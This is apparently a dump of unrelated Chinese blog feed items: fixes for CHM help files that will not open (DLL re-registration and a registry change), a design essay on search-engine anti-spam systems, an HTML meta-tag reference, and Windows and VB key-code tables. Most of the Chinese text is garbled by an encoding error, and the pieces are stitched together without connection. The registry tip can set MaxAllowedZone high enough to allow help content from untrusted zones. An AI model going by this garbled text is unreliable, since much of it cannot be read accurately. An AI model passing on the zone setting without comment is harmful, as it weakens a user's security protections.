1Q右键关联chm文g?#8220;打开方式”到\Windows\HH.exe
2Q在命o行运行regsvr32 itss.dll
3Q在命o行运行regsvr32 hhctrl.ocx
?也许?HH.EXE 所必需的某个组件出了问题。但是不知道 HH.EXE 会用C什么组Ӟ所以上|查了一下，有h重新注册 hhctrl.ocx。我在系l目录下扑ֈ?hhctrl.ocxQ重新注册一?hhctrl.ocx 试试Qregsvr32 hhctrl.ocx。依然不能正帔R?CHM?br />
既然如此Q很有可能是协议Z问题。HH.EXE 用的?ms-its {协议，q些协议应该是由某个 DLL 文g提供服务的。问题是Q是什?DLL 呢？于是再用 Google 搜烦 ms-its 协议。终于找CQ原来是一?itss.dll 在做服务。不q网上查到的解决Ҏ是修Ҏ册表?br />
要修?ItssRestrictions 注册表项以启用特定的安全区域Q请按照下列步骤操作Q?br /> 1. 单击“开?#8221;Q单?#8220;q行”Q键?regeditQ然后单?#8220;定”?br /> 2. 扑ֈq单M面的子项Q?br /> HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\HTMLHelp\1.x\ItssRestrictions
注意Q如果该注册表子不存在Q则使用Ҏ 1 中的步骤 2a ?2b 创徏该子V?br /> 3. 右键单击“ItssRestrictions”子项Q指?#8220;新徏”Q然后单?#8220;DWORD ?#8221;?br /> 4. 键入 MaxAllowedZoneQ然后按 Enter 键?br /> 5. 右键单击“MaxAllowedZone”|然后单击“修改”?br /> 6. ?#8220;数值数?#8221;框中Q键?0 ?4 之间的一个数字，然后单击“定”?br /> 7. 退出注册表~辑器?br /> 注意Q默认情况下Q?#8220;MaxAllowedZone”D|ؓ 0。下表摘要列Z“MaxAllowedZone”值对各个的解释?MaxAllowedZone 本地计算机区?本地 Intranet 区域 受信ȝ站点区域 Internet 区域 受限站点区域
0 允许 L L L L
1 允许 允许 L L L
2 允许 允许 允许 L L
3 允许 允许 允许 允许 L
4 允许 允许 允许 允许 允许
注册表修改之后还是不能打开Q?br /> 试试h的办法吧——重新注册DLLQregsvr32 itss.dll?br />
?操作pȝ的语a不是中文Q经常出现这U情况）
1.看看你的 OS 是不是中文的 OS Q?如果你的 OS 不是 中文的，那么?Control Pane 中看看那?#8220;语言和区?#8221; 的optionQ?打开看看“区域选项” 是不是中国，q个选项对一些Y件还是有一些媄像的?br /> 2.如果你的CHM文g是中文的Q可能存在缺省语a讄问题。可能你用是的英文版的WINDOWSQ把RAGIONAL AND LANGUAGE OPTIONS中的LANGUAGE 和ADVANCED 中的 语言和国安项都设|成中文QPRCQ。就可以?br />
?可以试试改变此文件的名字.比如L多余的符?br />
?如果都不能，最后一招就是，把电子书CHM格式转换为PDF文gQ?br /> CHM Converter是一个专门{换CHM格式的文Ӟ它可以把CHM文g转换成PDF、TXT、DOC{常用的格式?br />
下蝲后运行YӞ软g默认是英文界面，点击菜单“Tools-Language”Q在弹出的对话框中选择“Chinese_Simplified”可以换成中文了QY件还支持其他很多语言?br />
选好语言后点d上角?#8220;打开”按钮来选择要{换的CHM文gQ如果CHM文g是英文版的，那么在旁边的下拉菜单中就选择 “DEFAILT_CHARSET”Q如果是中文的，那需要在下拉菜单中选择“GB2312_CHARSET”Q否则会产生qQ然后在右面?#8220;导出”中来选择要{换的文gcdQY件支持很多格式的文gQ如q里选择“Word97-2003”Q最后点?#8220;另存数据库ؓ”按钮Q选择保存的文件夹后就开始进行{换了?br />
PS: Window2K中不能打开*.chm文g的解军_?br /> q个问题的发生，是由于hhctrl.ocx的版本号出现错误或未正确注册。原因在于安装的其他软g用hhctrl.ocx的旧版本替换了原来的版本?br /> IE6SP1中，q个文g的版本号应ؓ5.2.3735.0。可以看看你的系l这个文件的版本受?br /> 位于winnt/system32q个文g夏V大?04KQ英文版本）从其他相同的pȝQIE版本也相同）中COPY一?br /> _脓C的系l相应文件夹中。然后注册一下?br />
注意Q?br /> 1、先替换winnt/system32/dllcache文g夹的q个文g
后替换winnt/system32文g多w的这个文?br /> 2、如果看不到q个文gQ?br /> 先工?-文g多w项中，讄昄隐藏文g
q设|显C系l文?br /> 3、注册的Ҏ?br /> 开?-q行Q输入regsvr32 hhctrl.ocx
之后出来一个注册成功的对话框，定然后重启pȝ?
]]>
1.1 设计原则
搜烦引擎ANTI-SPAM作ؓ一个新型的技术领?目前逐渐引v学术届和搜烦引擎市场的逐步重视.通过大量资料分析,我认Z个好的实用ANTI-SPAMpȝ应该遵@以下两个设计原则:
原则1.实用的搜索引擎ANTI-SPAMpȝ应该允许核心法公布,q且在核心算法公布之后不会导致现有ANTI-SPAMpȝ的失?
原则2.实用的搜索引擎ANTI-SPAMpȝ应该l合技术和非技术的手段形成一个综合防ȝl?两者交互媄响Ş成有效的互相促进作用.
其中原则1是ؓ了避免提供搜索引擎服务的公司陷入以下疲于奔命的状?核心法被泄?SPAMER扑ֈ应付对策,搜烦引擎服务公司更换核心法,核心法被泄漏?.
而原?则是可能采取各U可能的手段更全面准的判别作弊|页.
1.2 体系l构
现有的ANTI-SPAM措施可以划分Z?个类?
cd1:针对某种具体的作弊方式Ş成的ANTI-SPAM技?比如识别LINK FARM的算?识别内容作弊的算法等.q些Ҏ的特Ҏ技术细节不可公开性以及由此导致的存在寿命短暂?因ؓq些技术细节一旦公?作弊者会考虑相应的反制策略导致算法失?q样会导致新的作弊方?而搜索引擎公怸得不研究新的ANTI-SPAM技?所以根据设计原?,q样的算法不能是ANTI-SPAMpȝ的主体框?只能是一U辅助措?
cd2:通用的ANTI-SPAM技?比如HILLTOP法,TRUSTRANK法{?q些Ҏ的特Ҏ技术细节可公开性以及由此导致的长期有效?即ɘq些技术细节公?作弊者也无能为力.所以根据设计原?,q样的算法应该成为系l的M框架.
cd3:cBADRANKҎ.q类Ҏ和类?的算法是完全互补的两cȝ?通用的ANTI-SPAM法的出发点是寻扄集合的子集,q些子集一定不是SPAM|页,其它|页Ҏ与这个精英页面集合的关系来判断是否不是SPAM面,而类BADRANKҎ则从必定是SPAM面的网子集出?可以看作是黑名单),从其它网和q些黑名单页面的关系判断是否是SPAM面.
cd4:人工举报.q种Ҏ是切实可行的对BADRANKҎ的补充手D?通过q种方式不断扩大黑名单的数量.
cd5:cSANDBOXҎ.q种Ҏ主要针对SEO市场,造成对于SEO市场的打?以此避免大规模的作弊出现,因ؓ目前主要的作弊者还是SEO市场造成?
目前几乎所有的ANTI-SPAM技术可以归于以?cL术之一,其中cd123是属于技术手D?而类?和类?属于非技术手D?通过两者结合来q行有效的ANTI-SPAMpȝ构?
一个实用的ANTI-SPAMpȝ整体l构可以参考图1,?这5中技术手D|机的l合来构造综合的ȝ手段.可以看出pȝ技术手D围l着两个核心互联|页面子?SPAM POOL和NON-SPAM POOL.SPAM POOL代表了确认ؓ是作弊页面的集合,而NON-SPAM POOL代表了确认不是作弊页面的集合.pȝ程如下:
1. SPAM POOL可以通过以下三个手段构?一个是通过人工举报形成黑名?一个是通过针对具体某种作弊方式采取的ANTI-SPAM技术来获得部分cd的作弊页面ƈ加入SPAM POOL?另外一U方式是通过cBADRANK方式通过叠代计算来扩充黑名单的规?q个q程可能需要进行h工确认过E以防治误判.
2. NON-SPAM POOL可以通过通用的ANTI-SPAM技术获?
3. cSANDBOX{非技术手D|打击SEO市场.
4. 可以看出pȝ中的核心技术手D|通用ANTI-SPAMҎ以及cBADRANKҎ,两者是互补的技术手D?处于pȝ的核?人工举报和针ҎU作弊方式的ANTI-SPAM技术作为类BADRANK技术的辅助手段发挥作用,而SANDBOX则作Z要的非技术手D发挥作?通过5U手D늛互结合构造实用的ANTI-SPAMpȝ.可以看出q个pȝ模型是符合ANTI-SPAMpȝ设计原则?
?. 搜烦引擎anti-spam技术\U图
? l成部分详述
下面分别叙述构成ANTI-SPAMpȝ?个部分的技术细?
2.1通用的anti-spamҎ
通用的ANTI-SPAMҎ作ؓpȝ最重要的框架核?目前的几U算法基本思想大同异,其基本目的是定所有互联网面中哪些肯定不是SPAM面.其基本思\都是如下考虑:
1. 首先从所有互联网面中通过一定的技术手D|到部分精英页面子?
2. 然后Ҏ其它面和精英页面子集的链接关系来确定哪些页面不是SPAM面.
以下列出的三U主方法基本思\如上所q?其区别无非在于判断精英页面的标准不同以及Ҏ链接关系定其它面是否SPAM的技术细节不?
2.1.1HILLTOP法
HILLTOP?a style="COLOR: #0000ff; TEXT-DECORATION: none" target="_blank">?/a>模型本n出发,l合了相x序以及anti-spam{略Z体的法,已经被GOOGLE所采用.其基本假讑֒出发Ҏ:|络中的权威面和权威站?EXPERT)所指向的页面一般来说不会是spam面,而且被权威页面指向的面排序应该提高.
所以其法分解Z下两个步?
1. 如何从大量网信息中识别权威面;
首先识别Non-affiliated page,所谓Non-affiliated是面归属于不同组l的面,因ؓ基本假设是归属于同一l织的网站页面之间的链接其公信力是不高的.
然后L链接出度比较高的面,如果q些面所指向的页面都是Non-affiliated面,那么q些面可以作ؓ权威面.
权威面单独q行索引,对于用户查询,首先在这个烦引里面寻?然后Ҏ其它面和权威页面的关系q行排序.
2. Ҏ选择的权威页面如何对其指向的面排序q行评h;
如果是越多的权威面指向的页面其权重高.
2.1.2 TrusteRankҎ
TrustRankҎ的基本思\和HILLTOP法cM,也是首先识别部分不可能是作弊|页的站?然后ҎcM的假设来从中推导出好的非anti-spam面.已经被AltaVista(YAHOO)搜烦引擎采用.
1. 从所有站炚w机选择若干站点.比如随机选择2000个站?(也可以有其它cM的优化策?比如选择知名度高的网站或者YAHOO{收录的|站作ؓ优良|站的基?
2. ?000个站炚w面h工判断哪些是优良的网?
3. 链接分析.基本假设是优良网站指向的|站也是优良?此时可以采取不同的策?比如优良|站l过K个链接所指向的都认ؓ是优良的.也可以引入衰减因?d始优良网站越q的|站其优良性越?
4. 寚w历过的网站优良性能做评?此评价作为判断是否作弊网늚依据.
2.1.3 SpamRankҎ
SpamRank的基本思\与前面两个技术基本一?它的基本假设?对于非作弊网|?指向其的链接面一般来说PAGERANK值是不均匀分布?而对于作弊网|说指向其的支持网늚PAGERANKg般来说都是比较小的?
1. 首先计算面的支持页面的权重
2. 判断支持面权重是否满Power low 分布(q个分布是互联网的一个比较准的估计)对于不满分布的页面判断ؓ作弊|页q行惩罚,降低其PAGERANK?
2.2 cBADRANKҎ
cBADRANKҎ是通用ANTI-SPAMҎ的有效补? 它的目的是发现哪些网肯定是SPAM面. BadRank的技术思\如下:
1. 首先l持一个SPAM|页黑名?q个黑名单可以通过用户举报或者采取一定的技术来获得,GOOGLE提供了D报SPAM面,所以采用BadRank的方法可能性是很高?
2. l定黑名单的|页非常高的BadRank值E(x);
3. 考虑其它|页的BadRank?打分依据是如果网含有指向黑名单的链?那么q个|页的BadRankg很高,依次cL来获得其它页面的BadRank?其打分公式如?
可以看出,其基本原理和PAGERANK是差不多?区别在于BADRANK是倒着打分?从已知的|页向未知的|页传播.
2. 3具体针对某种作弊方式采取的anti-spamҎ
针对具体某种作弊方式的ANTI-SPAMҎ可以作ؓ辅助BADRANK构造SPAM POOL的辅助技术手D?q些技术花L?基本没有一个统一的解x?目前常见的方法如?
2.3.1 针对blog站点的honey potcd的作?
Honey pot作弊方式是作弊网作者发布有价g息比如介l某Ҏ术的技术文?但是在发布的信息里面隐含指向作弊面的隐藏链?q样通过|页本n内容的h值来诱导其它|站增加指向该页面的链接从而间接增加作弊页面的排名.比如往blog站点,BBS站点,留言或者wiki{可以Q意发a的站点增加评?在发表的评论里面增加指向目标面的链?q样会间接增加目标页面的pagerank排名.Ҏ发表评论cd可以分ؓ以下两种:一U是直接发广告性质的与主题无关评论,q个我们l常在BBS或者留a版上看到.一U是评论与主题相?但是在评Z隐藏无法看到的链接信?q种情况一般比较难以发?
利用语言模型Ҏ判断链接所指向的页面是否作弊站?首先通过评论的内容以及评Z链接指向面内容构徏每个评论的语a模型,然后依次和正文的语言模型q行比较,差异比较大的看作是可能的作弊站?
2.3.2针对内容作弊
l 比如针对标题作弊,如果发现正文内容出现标题文字比例p,比例太高或者没有出现过,则认为可能是作弊|页.
l 而对于HTML面的keyword内作弊词?很多搜烦引擎采取不烦引keyword域的Ҏ.
2.3.3针对信息隐藏作弊
l 如果发现面内部大量文本采用和背景相同的颜色讄,则判断ؓ作弊面.
l 对于链接跌{的页面进行惩|?以防治通过面自动重定向来隐藏作弊面.
2.3.4针对多个域名DNS解析到同一IP地址.
作弊者通过建立若干不同的域名但是是同一IP地址来构建LINK FARM提高目标面排名,q欺骗搜索引擎这些链接页面分属于不同拥有?对于q种情况可以q行DNS解析分析, 大量不同域名映射到同一IP地址很有可能是作弊网?
2.3.5针对机器自动生成link farm
对于机器自动生成的作弊页面进行特征分析和自动发现.比如机器生成的链接往往很长,包含很多数字和连接符L.如果发现一个页面的大量链接有以上特征则判断Z弊页?
2.3.6针对作弊|页的不正常数量联入链接(文章:Spam, Damn Spam, and Statistics)
发现|页的入?Ҏ分布规律,极少数的|页有非常大量的联入,所以这些大量联入页面如果不是知名网站则很可能是作弊|站
2.3.7针对如何识别link spam
q个识别link farm spamҎ的基本观察是:很多link farm spam的页面互盔R过链接紧密联系,在farm里面往往存在以下特征面:面同时有进入和外出链接指向link farm其它面.所以该Ҏ首先通过一定方法从整个文档集合中确定一些种子页?再通过光接特征递归的发现满作弊链接特征的面直到link farm无法l箋扩张.此时对于q些面q行惩罚性措?.
2.3. 8E序自动生成面
面内容通过随机从其它网站页面抽取拼合而成,而链接指向黄色网?其解军_法是判别|页更新速度,q类作弊方式往往有过分快的更新速度,以此作ؓ判别的某个根?
2.3.9 TrackBack spam
定义:作弊者增加指向某个知名blog的trackback链接但是在页面部分没有Q何标?
解决Ҏ:目前q没有很好的Ҏ.
2.3.10. tag spam
在社会Y件比如yahoo的myweb2.0或者flickr中流行的作弊方式,作弊方式cM于传l的KEYWORDS作弊方式,在用户定义某个条目的时?允许自己增加若干TAG来对条目q行说明,而作弊者通过在TAG中增加很多作弊词汇来增加排名辑ֈ作弊目的.
解决Ҏ:目前q没有很好的Ҏ.
2.3.11 fake weblogs
定义:两种方式
方式1. steals content from other sites
作弊者徏立blog,拯排名比较高的blog内容,q样能够快提高自己blog排名,然后在评论里面增加指向目标页面的链接或者做q告.
方式2. Porn sites hiding behind blogs
自动建立若干blog站点,但是用户点击会自动{向目标站?cM于URL跌{方式.
2.4.人工举报
目前GOOGLE采用了h工D报的Ҏ,光面如?
http://www.google.com/contact/spamreport.html
Type(s) of problem (check all that apply):
Hidden text or links
Misleading or repeated words
Page does not match Google"s description
Cloaked page
Deceptive redirects
Doorway pages
Duplicate site or pages
Other (specify)
可以看出,GOOGLE目前所研究的anti-spam应该集中在以上几Uspam,q也从某个角度说明以上几U是最常用的spam方式.
2.5 SANDBOXҎ
长期以来Qh们注意到一个现象，当新|站刚被 Google 收录Ӟ在用关键词搜索时Q往往会有相当好的排名。一般认?Googlel予新网站一些照，使它们有一个快乐辉煌的开端。然而好景不长，不久Q新|站的排名就逐渐下降。很快地Q竟可能在搜索时完全消失了?
Z把这个现象称之ؓ沙箱效应Q认为是h普遍性的现象Q是 Google在搜索算法里讄的一个阻D滤器Q适用于所有的新网站。当新网站上|一D|_不论|页评高低内容多寡l构优劣有无链接Q都会被qo。短则九十天Q多则四五个月，在搜索结果里即ɘq有排名Q也多半攑֜最后。长期以来，q种现象使h大惑不解。因为绝大多数网站是没有作弊的，没有理由被处|。另外，沙箱效应只限于GoogleQ其它搜索引擎没有类似现象?
沙箱现象可能?Google 和层ZIL作弊手段斗争的一U策略。面寚w不胜防的诡计QGoogle 新|站屏蔽一D|_心里有鬼的优化商无法判断是否被处|，会修改网c对于诚实的|站Q这可能是一个好ZQ去认真查优化手D，建立健康链接Q充实网늚内容?
SANDBOX:不能有效的识别哪些是作弊或者不作弊面(其实没有试囑֎识别,q不是SANDBOX的目?,但是可以通过q种行ؓ有效的打压SEO市场.因ؓSEO市场是导致作弊盛行的主要因素.因ؓ有作弊意图而且亲自M弊的人数q是数,l大多数q是有意图没办法,通过SEO来进行的,通过非技术手D|压SEO信用是另外一个治理作弊问题的有效手段,
? 实施步骤
具体实施一个实用ƈ且好用的WEB ANTI-SPAM措施可以采取逐步实施的三步策?通过初步实施{略构徏初步实用的ANTI-SPAMpȝ,q一步的实施措施用来对于初步实施的系l进行进一步的完善,而第三步则是Ҏ该研I域的发展势q行深入的科研以获得比现有技术更好的ANTI-SPAM手段.
3.1初步实施措施
初步实施措施可以Ҏ?,首先实现以下几个部分:
1. TRUSTRANK法(或者HILLTOP)
2. BADRANK法
3. SANDBOX法
4. 人工举报界面
5. 最常见的某U具体SPAM反制措施
可以看出,无论是HILLTOP或者是TrustRank抑或BADRANK,q种Ҏq没有利用作弊者的特征值来q行判断,而是通过通用的方法来q行处理:首先识别优良面集合或者不良页面集?然后通过链接分析来计这U传播关p?q种Ҏ因ؓ不利用特征分?所以具有具体方法无x?也就是说即公布q个Ҏ,作弊者一般也没有办法采取反治措施.
而另外一cL法是特征相关?比如分析某类SPAM有哪些内容特征或者页面结构特?利用面是否满q些特征来进行识?q样的方法是对于某些cd作弊有效?不具有通用?另外存在的问题是公布Ҏ后可能这个算法就失效?因ؓ作弊者会采取另外的方法避免作弊页面出现这些特?
两者的关系如下:特征分析的方法可以作为BADRANK的补充和初始集合的获取手D?利用q些Ҏ扑ֈ一些作弊网作为BADRANK的初始种子然后逐步扩大查找范围.
所以在设计搜烦引擎ANTI-SPAMҎ时候应该采取如下措?
整体框架采用TRUSTRANK+BADRANK+SANDBOX
TRUSTRANK:识别哪些面肯定不是作弊面;
BADRANK:识别哪些面肯定是作弊页?
SANDBOX:不能有效的识别哪些是作弊或者不作弊面,但是可以通过q种行ؓ有效的打压SEO市场.
人工举报和具体ANTI-SPAMҎ:帮助建立更加全面的SPAM POOL资源.
3.2.q一步实施措?
q一步的实施措施集中在如下几个方?
1. 具体ANTI-SPAMҎ全面实施,目前常见的以及不常见的ANTI-SPAMҎ逐步实施,q样BADRANK可以发挥更大的作?
2. 通用ANTI-SPAMҎ的改q?通用Ҏ可以在以下两个方面进行改q?一个是如何判断_英面,改进的方向是更加自动化减手工劳?更加_?避免作弊者寻找漏z?另外一个改q方向是面传播关系的研I?探讨更好的页面传播关pL更加有效地确定哪些是SPAM哪些不是SPAM面.
3. SANDBOX的改q方?目前SANDBOX׃原理泄漏,有可能SEO会想相应的策略避免惩|?采取二次SANDBOX或者其它改q办?核心是增加排名的不确定?避免SEO能够l用L定的承诺(比如半年内排到前几名),以此来打击SEO市场.
4. 在h工D报方?改进思\是如何吸引D报者来可能多地进行D?可以通过奖励措施比如如果举报有效可以部分提高举报者的|站排名{奖励措施来增加举报者的U极?
3.3 深层研究方向
深层研究方向可以在以上介l的5个方面全面实?L更加优秀的替代算?通过U研投入辑ֈ优秀的ANTI-SPAM效果.
从目前学术界状况来看Q在未来地最q几q内Q在通用ANTI-SPAM斚w很难出现全新的理论框Ӟ如果q方面有成果的话Q应该是提出cM思\的方法或者对于现有方法细节的补充Q今后大量的研究工作会集中在具体的ANTI-SPAMҎ斚wQ尤其是随着新种cȝSPAM方式不断出现Q如何对于新cdSPAMq行发现和防d是学术界的主，但是q样很难从根本上解决问题?
? l论
搜烦引擎ANTI-SPAM是目前比较迫切需要解决的问题,本文通过如何构造一个有效的ANTI-SPAMpȝq一主题在设计原?pȝ整体l构,每个技术的实施l节以及实施步骤{方面进行了探讨,希望能够成ؓ有效设计优秀ANTI-SPAMpȝ的技术指南和路线规划说明.
]]>
name 属?
1?lt;meta name="Generator" contect="">用以说明生成工具Q如Microsoft FrontPage 4.0Q等Q?
2?lt;meta name="KEYWords" contect="">向搜索引擎说明你的网늚关键词；
3?lt;meta name="DEscription" contect="">告诉搜烦引擎你的站点的主要内容；
4?lt;meta name="Author" contect="你的姓名">告诉搜烦引擎你的站点的制作的作者；
5?lt;meta name="Robots" contect= "all|none|index|noindex|follow|nofollow">
其中的属性说明如下：
讑֮为allQ文件将被检索，且页面上的链接可以被查询Q?
讑֮为noneQ文件将不被索，且页面上的链接不可以被查询；
讑֮为indexQ文件将被检索；
讑֮为followQ页面上的链接可以被查询Q?
讑֮为noindexQ文件将不被索，但页面上的链接可以被查询Q?
讑֮为nofollowQ文件将不被索，面上的链接可以被查询?
http-equiv属?
1?lt;meta http-equiv="Content-Type" contect="text/html";charset=gb_2312-80">
?<meta http-equiv="Content-Language" contect="zh-CN">用以说明主页制作所使用的文字以及语aQ?
又如英文是ISO-8859-1字符集，q有BIG5、utf-8、shift-Jis、Euc、Koi8-2{字W集Q?
2?lt;meta http-equiv="Refresh" contect="n;url=http://www.wnetw.net">定时让网在指定的时间n内，跌{到页?http://www.wnetw.net Q?
3?lt;meta http-equiv="Expires" contect="Mon,12 May 2001 00:20:00 GMT">可以用于讑֮|页的到期时_一旦过期则必须到服务器上重新调用。需要注意的是必M用GMT旉格式Q?
4?lt;meta http-equiv="Pragma" contect="no-cache">是用于设定禁止浏览器从本地机的缓存中调阅面内容Q设定后一旦离开|页无法从Cache中再调出Q?
5?lt;meta http-equiv="set-cookie" contect="Mon,12 May 2001 00:20:00 GMT">cookie讑֮Q如果网过期，存盘的cookie被删除。需要注意的也是必须使用GMT旉格式Q?
6?lt;meta http-equiv="Pics-label" contect="">|页{评定Q在IE的internet选项中有一内容设|，可以防止览一些受限制的网站，而网站的限制U别是通过meta属性来讄的；
7?lt;meta http-equiv="windows-Target" contect="_top">强制面在当前窗口中以独立页面显C，可以防止自己的网被别h当作一个frame调用；
8?lt;meta http-equiv="Page-Enter" contect="revealTrans(duration=10,transtion= 50)">?lt;meta http-equiv="Page-Exit" contect="revealTrans(duration=20Qtranstion=6)">讑֮q入和离开面时的Ҏ效果Q这个功能即FrontPage中的“格?|页q渡”，不过所加的面不能够是一个frame面?
]]>
VK_LBUTTON Left mouse button
VK_RBUTTON Right mouse button
VK_CANCEL Control+Break
VK_MBUTTON Middle mouse button
VK_BACK Backspace key
VK_TAB Tab key
VK_CLEAR Clear key
VK_RETURN Enter key
VK_SHIFT Shift key
VK_CONTROL Ctrl key
VK_MENU Alt key
VK_PAUSE Pause key
VK_CAPITAL Caps Lock key
VK_KANA Used with IME
VK_HANGUL Used with IME
VK_JUNJA Used with IME
VK_FINAL Used with IME
VK_HANJA Used with IME
VK_KANJI Used with IME
VK_CONVERT Used with IME
VK_NONCONVERT Used with IME
VK_ACCEPT Used with IME
VK_MODECHANGE Used with IME
VK_ESCAPE Esc key
VK_SPACE Space bar
VK_PRIOR Page Up key
VK_NEXT Page Down key
VK_END End key
VK_HOME Home key
VK_LEFT Left Arrow key
VK_UP Up Arrow key
VK_RIGHT Right Arrow key
VK_DOWN Down Arrow key
VK_SELECT Select key
VK_PRINT Print key (keyboard-specific)
VK_EXECUTE Execute key
VK_SNAPSHOT Print Screen key
VK_INSERT Insert key
VK_DELETE Delete key
VK_HELP Help key
VK_LWIN Left Windows key (Microsoft keyboard)
VK_RWIN Right Windows key (Microsoft keyboard)
VK_APPS Applications key (Microsoft keyboard)
VK_NUMPAD0 0 key (numeric keypad)
VK_NUMPAD1 1 key (numeric keypad)
VK_NUMPAD2 2 key (numeric keypad)
VK_NUMPAD3 3 key (numeric keypad)
VK_NUMPAD4 4 key (numeric keypad)
VK_NUMPAD5 5 key (numeric keypad)
VK_NUMPAD6 6 key (numeric keypad)
VK_NUMPAD7 7 key (numeric keypad)
VK_NUMPAD8 8 key (numeric keypad)
VK_NUMPAD9 9 key (numeric keypad)
VK_MULTIPLY Multiply key (numeric keypad)
VK_ADD Add key (numeric keypad)
VK_SEPARATOR Separator key (numeric keypad)
VK_SUBTRACT Subtract key (numeric keypad)
VK_DECIMAL Decimal key (numeric keypad)
VK_DIVIDE Divide key (numeric keypad)
VK_F1 F1 key
VK_F2 F2 key
VK_F3 F3 key
VK_F4 F4 key
VK_F5 F5 key
VK_F6 F6 key
VK_F7 F7 key
VK_F8 F8 key
VK_F9 F9 key
VK_F10 F10 key
VK_F11 F11 key
VK_F12 F12 key
VK_F13 F13 key
VK_F14 F14 key
VK_F15 F15 key
VK_F16 F16 key
VK_F17 F17 key
VK_F18 F18 key
VK_F19 F19 key
VK_F20 F20 key
VK_F21 F21 key
VK_F22 F22 key
VK_F23 F23 key
VK_F24 F24 key
VK_NUMLOCK Num Lock key
VK_SCROLL Scroll Lock key
VK_LSHIFT Left Shift key (only used with GetAsyncKeyState and GetKeyState)
VK_RSHIFT Right Shift key (only used with GetAsyncKeyState and GetKeyState)
VK_LCONTROL Left Ctrl key (only used with GetAsyncKeyState and GetKeyState)
VK_RCONTROL Right Ctrl key (only used with GetAsyncKeyState and GetKeyState)
VK_LMENU Left Alt key (only used with GetAsyncKeyState and GetKeyState)
VK_RMENU Right Alt key (only used with GetAsyncKeyState and GetKeyState)
VK_PROCESSKEY Process key
VK_ATTN Attn key
VK_CRSEL CrSel key
VK_EXSEL ExSel key
VK_EREOF Erase EOF key
VK_PLAY Play key
VK_ZOOM Zoom key
VK_NONAME Reserved for future use
VK_PA1 PA1 key
VK_OEM_CLEAR Clear key
]]>
键码
常数 ?描述
vbKeyLButton 1 鼠标左键
vbKeyRButton 2 鼠标右键
vbKeyCancel 3 CANCEL ?
vbKeyMButton 4 鼠标中键
vbKeyBack 8 BACKSPACE ?
vbKeyTab 9 TAB ?
vbKeyClear 12 CLEAR ?
vbKeyReturn 13 ENTER ?
vbKeyShift 16 SHIFT ?
vbKeyControl 17 CTRL ?
vbKeyMenu 18 菜单?
vbKeyPause 19 PAUSE ?
vbKeyCapital 20 CAPS LOCK ?
vbKeyEscape 27 ESC ?
vbKeySpace 32 SPACEBAR ?
vbKeyPageUp 33 PAGEUP ?
vbKeyPageDown 34 PAGEDOWN ?
vbKeyEnd 35 END ?
vbKeyHome 36 HOME ?
vbKeyLeft 37 LEFT ARROW ?
vbKeyUp 38 UP ARROW ?
vbKeyRight 39 RIGHT ARROW ?
vbKeyDown 40 DOWN ARROW ?
vbKeySelect 41 SELECT ?
vbKeyPrint 42 PRINT SCREEN ?
vbKeyExecute 43 EXECUTE ?
vbKeySnapshot 44 SNAP SHOT ?
vbKeyInser 45 INS ?
vbKeyDelete 46 DEL ?
vbKeyHelp 47 HELP ?
vbKeyNumlock 144 NUM LOCK ?
A 键到 Z 键与?ASCII 码的相应?A' ?'Z' 是一致的
常数 ?描述
vbKeyA 65 A ?
vbKeyB 66 B ?
vbKeyC 67 C ?
vbKeyD 68 D ?
vbKeyE 69 E ?
vbKeyF 70 F ?
vbKeyG 71 G ?
vbKeyH 72 H ?
vbKeyI 73 I ?
vbKeyJ 74 J ?
vbKeyK 75 K ?
vbKeyL 76 L ?
vbKeyM 77 M ?
vbKeyN 78 N ?
vbKeyO 79 O ?
vbKeyP 80 P ?
vbKeyQ 81 Q ?
vbKeyR 82 R ?
vbKeyS 83 S ?
vbKeyT 84 T ?
vbKeyU 85 U ?
vbKeyV 86 V ?
vbKeyW 87 W ?
vbKeyX 88 X ?
vbKeyY 89 Y ?
vbKeyZ 90 Z ?
0 键到 9 键与?ASCII 码的相应?'0' ?'9' 是一致的
常数 ?描述
vbKey0 48 0 ?
vbKey1 49 1 ?
vbKey2 50 2 ?
vbKey3 51 3 ?
vbKey4 52 4 ?
vbKey5 53 5 ?
vbKey6 54 6 ?
vbKey7 55 7 ?
vbKey8 56 8 ?
vbKey9 57 9 ?
数字键盘上的键
常数 ?描述
vbKeyNumpad0 96 0 ?
vbKeyNumpad1 97 1 ?
vbKeyNumpad2 98 2 ?
vbKeyNumpad3 99 3 ?
vbKeyNumpad4 100 4 ?
vbKeyNumpad5 101 5 ?
vbKeyNumpad6 102 6 ?
vbKeyNumpad7 103 7 ?
vbKeyNumpad8 104 8 ?
vbKeyNumpad9 105 9 ?
vbKeyMultiply 106 乘号 (*) ?
vbKeyAdd 107 加号 (+) ?
vbKeySeparator 108 ENTER 键（在数字小键盘上）
vbKeySubtract 109 减号 (-) ?
vbKeyDecimal 110 数?(.) ?
vbKeyDivide 111 除号 (/) ?
功能?br />常数 ?描述
vbKeyF1 112 F1 ?
vbKeyF2 113 F2 ?
vbKeyF3 114 F3 ?
vbKeyF4 115 F4 ?
vbKeyF5 116 F5 ?
vbKeyF6 117 F6 ?
vbKeyF7 118 F7 ?
vbKeyF8 119 F8 ?
vbKeyF9 120 F9 ?
vbKeyF10 121 F10 ?
vbKeyF11 122 F11 ?
vbKeyF12 123 F12 ?
vbKeyF13 124 F13 ?
vbKeyF14 125 F14 ?
vbKeyF15 126 F15 ?
vbKeyF16 127 F16 ?
]]>